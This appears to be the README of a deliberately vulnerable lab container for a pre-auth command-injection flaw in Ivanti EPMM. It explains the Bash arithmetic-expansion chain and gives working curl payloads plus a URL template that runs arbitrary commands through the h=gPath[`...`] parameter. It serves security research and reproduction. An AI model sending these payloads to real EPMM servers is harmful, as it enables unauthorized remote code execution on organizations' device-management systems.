Ivanti EPMM pre-auth RCE Dummy Target

A simple demo application that shows how to reproduce the Ivanti EPMM pre-auth RCE vulnerability (CVE-2026-1281 / CVE-2026-1340) for educational and security research purposes.

Vulnerability Overview

This vulnerability exploits Bash arithmetic expansion behavior. When a variable containing a reference to another variable is used in arithmetic context, and that referenced variable contains an array index with command substitution, the command is executed.

The Exploit Chain

1. Request contains st=theValue (literal string "theValue" with padding)
2. Request contains h=gPath[\command`]` (command in array index)
3. Bash script parses key=value pairs in a loop, updating theValue each iteration
4. gStartTime is set to the literal string "theValue"
5. After loop, theValue contains gPath[\command`]`
6. When [[ ${currentTime} -gt ${gStartTime} ]] is evaluated:
   • ${gStartTime} → "theValue" (string)
   • Arithmetic context treats theValue as variable reference
   • theValue → gPath[\command`]`
   • Array index triggers command substitution → RCE!

Quick Start

# Build and start the container
docker-compose up --build -d

# Check it's running
curl http://localhost:8180/health

Testing the Vulnerability

1. File Creation Test

Create a file to prove command execution:

# URL-encoded payload: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"

# Check if file was created
cat artifacts/poc

2. Time-Based Test

Verify with a sleep command:

# Should take ~5 seconds to respond
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"

3. Custom Command Execution

# Write custom content
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"

cat artifacts/pwned

URL Structure

/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
                               │      │              │              │
                               │      │              │              └─ Payload: gPath[`COMMAND`]
                               │      │              └─ End timestamp (any 10 digits)
                               │      └─ CRITICAL: literal "theValue" + 2 spaces (10 chars total)
                               └─ Key index (any value)

Debugging

# View container logs
docker-compose logs -f

# Get a shell in the container
docker exec -it ivanti-epmm-vuln /bin/bash

# Check nginx error logs
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log

Cleanup

docker-compose down
rm -rf artifacts/*

References

• WatchTowr Labs Blog Post

Disclaimer

This is for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit permission to test.